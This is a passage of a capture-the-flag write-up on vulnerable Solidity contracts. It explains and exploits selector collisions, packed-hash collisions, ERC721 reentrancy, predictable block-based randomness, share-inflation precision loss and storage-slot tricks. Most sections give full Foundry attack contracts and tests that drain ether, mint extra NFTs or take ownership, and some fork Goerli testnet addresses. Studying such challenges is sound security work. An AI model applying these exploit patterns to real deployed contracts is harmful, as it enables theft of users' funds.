weth11.execute(address(weth11), 0 ether, abi.encodeWithSignature("transfer(address,uint256)",address(this),weth11.balanceOf(address(weth11))));
weth11.withdrawAll();
bobEOA.call{value: address(this).balance}("");
}
receive() external payable{} // to receive the ether from WETH11 contract while withdrawing
}
contract Weth11Test is Test {
WETH11 public weth;
address owner;
address bob;
function setUp() public {
weth = new WETH11();
bob = address(1);
vm.deal(address(bob), 10 ether);
vm.startPrank(bob);
weth.deposit{value: 10 ether}();
weth.transfer(address(weth), 10 ether);
vm.stopPrank();
}
function testHack() public {
assertEq(
weth.balanceOf(address(weth)),
10 ether,
"weth contract should have 10 ether"
);
vm.startPrank(bob);
Attack attack = new Attack(address(weth), bob); // deploying the Attack contract
attack.getFlashLoan(); // calling the exploit function
vm.stopPrank();
// verifying whether the goal is achieved
assertEq(address(weth).balance, 0, "empty weth contract");
assertEq(
weth.balanceOf(address(weth)),
0,
"empty weth on weth contract"
);
assertEq(
bob.balance,
10 ether,
"player should recover initial 10 ethers"
);
}
}
13. Donate
Challenge Description:
This contract has several functions. While deploying the contract, owner will set the owner and keeper addresses. Goal of this challenge is to change the keeper address with our hacker address. There is secretFunction
which has ability to call the changeKeeper
function.
Vulnerability Description:
secretFunction
is checking whether the input string f
function's keccak hash is equal to 0x097798381ee91bee7e3420f37298fe723a9eedeade5440d4b2b5ca3192da2428
. But while calling a function in solidity, only first four bytes of keccak hash is used which is function selector. In this case it is 0x09779838
. Through database given in reference section we can find a function which as came function selector and use that input to secretFunction
. Through this we can pass the condition and change the keeper
to msg.sender
.
Attack Steps:
As hacker call the
secretFunction
withrefundETHAll(address)
string.Verify whether the
keeperCheck
function returnstrue
.
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "forge-std/Test.sol";
import "../src/Donate.sol";
/// @author viking71
/// `secretFunction` is checking whether the input string `f` function's keccak hash is equal to `0x097798381ee91bee7e3420f37298fe723a9eedeade5440d4b2b5ca3192da2428`.
/// But while calling a function in solidity, only first four bytes of keccak hash is used which is function selector.
/// In this case it is `0x09779838`. Through database given in reference section we can find a function which as came function selector and use that input to `secretFunction`.
/// Through this we can pass the condition and change the `keeper` to `msg.sender`.
contract donateTest is Test {
Donate public donate;
address keeper = vm.addr(1); // keeper
address owner = vm.addr(2); // owner
address hacker = vm.addr(3); // hacker
function setUp() public {
vm.prank(owner);
donate = new Donate(keeper);
}
function testExploit() public {
vm.startPrank(hacker);
donate.secretFunction("refundETHAll(address)"); // using same function selector as changeKeeper(address)
assert(donate.keeperCheck() == true); // verifying the hacker == keeper
vm.stopPrank();
}
}
Reference:
Ethereum Signature Database
Edit description
14. Moloch’s Vault
Challenge Description:
The given contract is a simple contract which defines teh real hacker with certain conditions and realhackers can sent the grant to anyone. The goal is to stal atleast 1 wei from the Vault contract.
Solution Description:
We have to bascially pass the conditions of uhER778 function to get the 1 wei through sendGrant function
Moloch-Algorithm decryption using given clue RFGDWRWPGQDFWKCLKRWPGOWKPGQ* RFGQCAPKDKAGQDWQWPQFCJJQUBGQKPGQ — THE FUTURE OF HUMANITY REQUIRES THE SACRIFICE OF YOUR SHALLOW DESIRES passes
from the etherscan constructor arguments ZJQQBWNFCPKCAKQR - BLOODY PHARMACIST BGTGJQNGP - DEVELOPER KCLEQ - MANGO
Bypassing keccak256(abi.encodepacked()) check — If you use keccak256(abi.encodePacked(a, b)) and both a and b are dynamic types, it is easy to craft collisions in the hash value by moving parts of a into b and vice-versa. More specifically, abi.encodePacked(“a”, “bc”) == abi.encodePacked(“ab”, “c”)
. Similar can be done to pass the condition in uhER778. If you use abi.encodePacked for signatures, authentication or data integrity, make sure to always use the same types and check that at most one of them is dynamic.
Formula to finding the slot of dynamic struct is uint256(keccak256(abi.encodePacked(slot))) + (index * elementSize/256)
For example the slot of cabals array = 3 Slot 3 stores the array size. The values in the array are stored consecutively starting at the hash of the slot = hash(3) the second address element storage location is uint256(keccak256(abi.encodePacked(3))) + (1 * 20/256)
Attack Steps:
Use Etherscan and inspect the (constructor arguments)[https://goerli.etherscan.io/address/0xafb9ed5cd677a1bd5725ca5fcb9a3a0572d94f6f#code] of given contract in Goerli.
Now arrange the arguments for
uhER778
function to pass.Create a contract to perform the attack as below in PoC
Use receive function to to send 2 wei to pass the condition (
YHUiiFD - RGDTjhU == 1
) and make the msg.sender realHacker.Now we can execute the
sendGrant
function and get the wei.Verify whether the attacker got the wei.
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@forge-std/Test.sol";
import "../src/MolochVault.sol";
/// @author viking71
// We have to bascially pass the conditions of uhER778 function to get the 1 wei through sendGrant function
// Moloch-Algorithm decryption using given clue
// RFG*DWRWPG*QD*FWKCLKRW*PGOWKPGQ* RFG*QCAPKDKAG*QD*WQWP*QFCJJQU*BGQKPGQ - THE FUTURE OF HUMANITY REQUIRES THE SACRIFICE OF YOUR SHALLOW DESIRES
// passes from the etherscan constructor arguments
// ZJQQBW*NFCPKCAKQR - BLOODY PHARMACIST
// BGTGJQNGP - DEVELOPER
// KCLEQ - MANGO
// Bypassing keccak256(abi.encodepacked()) check - If you use keccak256(abi.encodePacked(a, b)) and both a and b are dynamic types, it is easy to craft collisions in the hash value by moving parts of a into b and vice-versa.
// More specifically, abi.encodePacked("a", "bc") == abi.encodePacked("ab", "c").
// Similar can be done to pass the condition in uhER778.
// If you use abi.encodePacked for signatures, authentication or data integrity, make sure to always use the same types and check that at most one of them is dynamic.
// Formula to finding the slot of dynamic struct is `uint256(keccak256(abi.encodePacked(slot))) + (index * elementSize/256)`
// For example the slot of cabals array = 3
// Slot 3 stores the array size
// The values in the array are stored consecutively starting at the hash of the slot - hash(3)
// the second address element storage location is uint256(keccak256(abi.encodePacked(3))) + (1 * 20/256)
contract Attack {
MOLOCH_VAULT public molochContract;
address payable public attackerAddress;
uint8 flag; // change the external call in receive() function
constructor(address payable contractAddress) payable{
molochContract = MOLOCH_VAULT(contractAddress);
attackerAddress = payable(msg.sender);
}
function pwn(string[3] memory _os) public {
molochContract.uhER778(_os);
molochContract.sendGrant(payable(address(this)));
(bool success,) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
receive() payable external {
if(flag == 1 && address(this).balance < 300 wei) {
molochContract.sendGrant(payable(address(this))); // we can also drain all of ether with high gaslimit
}
else {
(bool success,) = address(molochContract).call{value: 2 wei}("");
require(success);
flag = 1;
}
}
}
contract MolochVaultTest is Test {
MOLOCH_VAULT public moloch;
address public attacker;
function setUp() public {
attacker = vm.addr(1); // attacker
// got the arguments from etherscan
string memory h = "BLOODY PHARMACIST";
string[2] memory b = ["WHO DO YOU", "SERVE?"];
address payable[3] memory a = [payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4),payable(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2),payable(0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db)];
string[3] memory c = ["KCLEQ", "BGTGJQNGP", "ZJQQBW*NFCPKCAKQR"];
moloch = new MOLOCH_VAULT(h, b, a, c); // deploying the contract
vm.deal(address(moloch), 1 ether); // assigning the 1 ether for testing purpose
vm.deal(attacker, 1 wei); // 1 wei for attacker
}
function testExploit() public {
vm.startPrank(attacker);
// to pass the `keccak256(abi.encode(_openSecrete[1])) != keccak256(abi.encode(question[0])` condition
// spilitting the questions
string[2] memory questions;
questions[0] = "WHO DO YO";
questions[1] = "USERVE?";
string[3] memory openSecerts = ["BLOODY PHARMACIST", questions[0], questions[1]];
// deploying the Attack contract
Attack attack = new Attack{value: 1 wei}(payable(moloch));
attack.pwn(openSecerts);
vm.stopPrank();
assertGt(attacker.balance, 2 wei); // checking the condition whether stole more than 1 wei (298 wei)
assertLt(address(moloch).balance, 1 ether); // moloch vault has less ether than starting which indicates we stole
}
}
Reference:
15. GoldNFT
Challenge Description:
This contract basically mints you a NFT after checking the password by verifying it with the password which is stored in another contract and contract address is given.
Vulnerability Description:
Re-entrancy is vulnerability in the given contract. Password (keccak256(msg.sender)
) can be retrieved through the input data present in Etherscan which is in Hex and can be decompiled through bytecode decompiler. State change of minted booleen is taking after the minting process. SafeMint is not really safe because it has callback function called onERC721Received
which identifies the receiver needs the NFT or not. This can be used to re-enter the take takeONEnft
function and mint more NFTs.
Attack Steps:
Setup the contract and attacker
Create the Attack contract like below.
Perform exploit and verify the condition is achieved.
Proof of Concept:
I used Foundry to test the Exploit. Use this command to run the test forge test --match-contract GoldNFTTest --via-ir -vvvv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "forge-std/Test.sol";
import "../src/GoldNFT.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
/// @author viking71
/// Password(keccak256(msg.sender)) can be retrived through the input data present in Etherscan which is in Hex and can be decompiled through bytecode decompiler.
/// State change of minted booleen is taking after the minting process. SafeMint is not really safe because it has callback function called
/// `onERC721Received` which identifies the receiver needs the NFT or not. This can be used to re-enter the take `takeONEnft` function and mint more NFTs.
contract Attack is IERC721Receiver {
GoldNFT nftContract;
bytes32 password;
constructor(address goldNFTAddress) {
nftContract = GoldNFT(goldNFTAddress);
}
function pwn(bytes32 pass) public {
password = pass;
nftContract.takeONEnft(password);
// Send the NFTs to the hacker
for(uint i=1;i<11;++i) {
nftContract.transferFrom(address(this), msg.sender, i);
}
}
// callback function to re-enter the vulnerable function in the given contract
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) public override returns (bytes4) {
if(nftContract.balanceOf(address(this)) < 10) {
nftContract.takeONEnft(password);
}
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
contract GoldNFTTest is Test {
GoldNFT nft;
address owner = makeAddr("owner");
address hacker = makeAddr("hacker");
function setUp() external {
vm.createSelectFork("goerli", 8591866); // pass the goerli rpc here
nft = new GoldNFT();
}
function test_Attack() public {
vm.startPrank(hacker);
Attack attack = new Attack(address(nft)); //deploying the Attack contract
// keccak hash of address who created the 0xe43029d90B47Dd47611BAd91f24F87Bc9a03AEC2 contract
bytes32 passwordValue = keccak256(abi.encode(address(0x302fF1c5F7e264b792876B9456F42de8dF299863)));
attack.pwn(passwordValue);
vm.stopPrank();
// checking the condition whether hacker has 10 NFTs
assertEq(nft.balanceOf(hacker), 10);
}
}
Recommendation:
Don’t do a state change after doing a safeMint of NFT.
16. Predictable NFT
Challenge Description:
In this game, you can spend 1 ether to “mint” an NFT token with 3 possible ranks: Common(1), Rare(2), and Superior(3). As a hacker, your goal is to always mint the Superior ones.
Vulnerability Description:
Vulnerability here is hash can be regenerated due to block.number. Once we find the hash which satisfies the condition, we are calling the mint function.
Attack Steps:
As a hacker regenerate the condition required for minting
Call the mint function if passed
Check whether passed the condition or not
Proof of Concept:
I used Foundry to test the Exploit. Use this command to run the test forge test --match-contract PredictableNFTTest -vvvv --via-ir
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import "@forge-std/Test.sol";
import "@forge-std/console2.sol";
// @author viking71
// vulnerability here is hash can be regenerated due to block.number.
// Once we find the hash which satifies the condition, we are calling the mint function.
contract PredictableNFTTest is Test {
address nft;
address hacker = address(0x1234);
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/eth_goerli");
vm.deal(hacker, 1 ether);
nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);
}
function test() public {
vm.startPrank(hacker);
uint mintedId;
uint currentBlockNum = block.number;
// Mint a Superior one, and do it within the next 100 blocks.
for(uint i=0; i<100; i++) {
if(mintedId != 1) {
vm.roll(currentBlockNum);
(, bytes memory idValue) = nft.call(abi.encodeWithSignature("id()"));
// basically we are regenarting the hash and checking the condition
if (uint256(keccak256(abi.encode(uint(bytes32(idValue))+1, hacker, block.number))) % 100 > 90) {
// only if it is passed we are calling the mint function
(, bytes memory retu) = nft.call{value: 1 ether}(abi.encodeWithSignature("mint()"));
mintedId = uint(bytes32(retu));
}
currentBlockNum++;
}
}
// get rank from `mapping(tokenId => rank)`
(, bytes memory ret) = nft.call(abi.encodeWithSignature(
"tokens(uint256)",
mintedId
));
uint mintedRank = uint(bytes32(ret));
assertEq(mintedRank, 3, "not Superior(rank != 3)"); // checking whether passed the challenge
}
}
Recommendation:
Don’t use block.number
as the source of randomness.
17. Invest Pool
Challenge Description:
Simple contract to deposit and get share based on deposit amount. Functionality to withdraw all tokens. There is function to initialize. Only after initializing deposit and withdraw function can be accessed.
Vulnerability Description:
Vulnerability is due to the precision loss in the calculation of shares and tokens. Attacker can make use of this the steal the tokens. password can be retrieved from the contract bytecode which stores the ipfs hash as metadata.
Attack Steps:
Get the password from the contract metadata
Initialize, then deposit 1 wei token and get 1 wei share.
Transfer 999e18 wei token and increase the price share.
user will deposit and get 1 wei share
if he withdraws, then it is his loss.
Finally withdraw your tokens to get profit through precision loss.
Proof of Concept:
I used Foundry to test the Exploit. Use this command to run the test forge test --match-contract InvestPoolTest -vvvv --via-ir
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@forge-std/Test.sol";
import "../src/InvestPool.sol";
import "@forge-std/console2.sol";
// @author viking71
// vulnerability is due to the precision loss in the calculation of shares and tokens. Attacker can make use of this the steal the tokens.
// password can be retrieved from the contract bytecode which stores the ipfs hash as metadata.
contract InvestPoolTest is Test {
PoolToken token;
InvestPool pool;
address user = vm.addr(1);
address hacker = vm.addr(2);
function setUp() external {
token = new PoolToken();
pool = new InvestPool(address(token));
token.mint(2000e18);
token.transfer(user, 1000e18);
token.transfer(hacker, 1000e18);
vm.prank(user);
token.approve(address(pool), type(uint).max);
vm.prank(hacker);
token.approve(address(pool), type(uint).max);
}
function userDeposit(uint amount) public {
vm.startPrank(user);
pool.deposit(amount);
vm.stopPrank();
}
function test_hack() public {
uint hackerBalanceBeforeHack = token.balanceOf(hacker);
vm.startPrank(hacker, hacker);
pool.initialize("j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx"); // password from the ipfs gateway
pool.deposit(1);
token.transfer(address(pool), 999e18-1);
vm.stopPrank();
userDeposit(token.balanceOf(user));
vm.startPrank(user);
pool.withdrawAll();
vm.stopPrank();
vm.startPrank(hacker, hacker);
pool.withdrawAll();
console2.log(token.balanceOf(hacker));
vm.stopPrank();
assertGt(token.balanceOf(hacker), hackerBalanceBeforeHack);
}
}
Recommendation:
Check for precision loss in share and token calculation.
Reference:
18. PseudoRandom
Challenge Description:
The given contract has constructor and fallback function which sets the owner after checking the condition. In constructor the sig
is stored in a particular slot after calculating it.
Vulnerability Description:
We have to just find the slot value like given in the contract’s fallback function. Later we have inject the attacker address into that to become the owner. Contract itself is simply made looking complicated, but all you have to do is call the fallback function and set the input to attacker address with padding.
Attack Steps:
Set the slot value.
Find the value stored in that slot
Send this value with call function to pass the fallback function conditions in the contract
Owner is set to attacker
Verify it.
Proof of Concept:
I used Foundry to test the Exploit. Use this command (forge test --match-contract PseudoRandomTest --via-ir -vvvv
) to run this test.
pragma solidity 0.8.19;
import "@forge-std/Test.sol";
import "@forge-std/console2.sol";
import "../src/PseudoRandom.sol";
/// @author viking71
/// We have to just find the slot value like given in the contract's fallback function.
/// Later we have inject the attacker address into that to become the owner.
/// Contract itself is simply made looking complicated, but all you have to do is call the fallback function and set the input to attacker address with padding.
contract PseudoRandomTest is Test {
address attacker;
address deployer;
PseudoRandom pseudorandom;
function setUp() external {
attacker = vm.addr(1); // attacker
deployer = vm.addr(2); // deployer
vm.prank(deployer);
pseudorandom = new PseudoRandom(); // deploying the the contract
}
function test() external {
vm.startPrank(attacker, attacker);
uint256 adValue;
// we have to add the chainid and caller value
assembly {
adValue := add(chainid(), sload(0))
}
// reporducing the sig in the contract
bytes32 value = vm.load(address(pseudorandom), bytes32(vm.load(address(pseudorandom), bytes32(uint256(adValue)))));
(bool success,) = address(pseudorandom).call{value: 0}(bytes.concat(bytes4(0x00000000), abi.encode(value, attacker))); // calling the fallback function to set the owner
require(success);
vm.stopPrank();
assertEq(pseudorandom.owner(), attacker); // chekcing whether the attacker is owner
}
}
19. Slot Puzzle
Challenge Description:
There is a factory contract which creates the SlotPuzzle contract with user params
. ascertainSlot
function in SlotPuzzle contract checks the params
struct values and takes the slot of shost variable location from the calldata, checks whether it is correct. Finally sends the recipients 1 ether.
Solution Description:
We have to calculate the ghost variable location is contract storage (use the reference). Then understanding the calldata encoding for the ascertainSlot function to send the slot value.
Attack Steps:
First understand how mapping, dynamic arrays and struct storage location works
create a function to calculate the slot
As a hacker arrange the parameters struct as shown below
Call the deploy function
Finally check the condition.
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@forge-std/Test.sol";
import {SlotPuzzleFactory} from "src/SlotPuzzleFactory.sol";
import {Parameters,Recipients} from "src/interface/ISlotPuzzleFactory.sol";
contract SlotPuzzleTest is Test {
address hacker;
SlotPuzzleFactory public slotPuzzleFactory;
Parameters param;
function setUp() public {
slotPuzzleFactory = new SlotPuzzleFactory{value: 3 ether}(); // deploying the factory contract
hacker = vm.addr(1); // hacker address
}
function testHack() public {
vm.startPrank(hacker,hacker);
param.totalRecipients = 3; // totalReceipeints
param.offset = 388; // setting the offset to slotKey(bytes) variable length(292)
param.recipients.push(Recipients(address(hacker), 1 ether));
param.recipients.push(Recipients(address(hacker), 1 ether));
param.recipients.push(Recipients(address(hacker), 1 ether));
// creating the slotKey by assiging the slot of ghost with zero padding in end to make the size 292
param.slotKey = bytes.concat(abi.encode(uint256(getSlot())), abi.encode(uint256(0)), abi.encode(uint256(0)), abi.encode(uint256(0)), abi.encode(uint256(0)), abi.encode(uint256(0)), abi.encode(uint256(0)), abi.encode(uint256(0)), abi.encode(uint256(0)), bytes4(uint32(0)));
slotPuzzleFactory.deploy(param); // calling the deploy function with param
// checking whether the condition is passed
assertEq(address(slotPuzzleFactory).balance, 0, "weth contract should have 0 ether");
assertEq(address(hacker).balance, 3 ether, "hacker should have 3 ether");
vm.stopPrank();
}
// finds the storage location of ghost in ghostInfo mapping
function getSlot() public view returns(bytes32) {
return keccak256(abi.encode(uint256(keccak256(abi.encode(address(uint160(uint256(blockhash(1)))), keccak256(abi.encode(uint256(block.chainid), uint256(keccak256(abi.encode(address(block.coinbase), keccak256(abi.encode(uint256(0), (uint256(keccak256(abi.encode(address(slotPuzzleFactory), keccak256(abi.encode(uint256(1), (uint256(keccak256(abi.encode(uint256(1), keccak256(abi.encode(address(hacker), uint256(1))))))+1))))))+1))))))+1)))))));
}
}
Reference:
https://docs.soliditylang.org/en/v0.8.19/internals/layout_in_storage.html
https://blog.soliditylang.org/2022/08/08/calldata-tuple-reencoding-head-overflow-bug/
Don’t use block.number
as the source of randomness.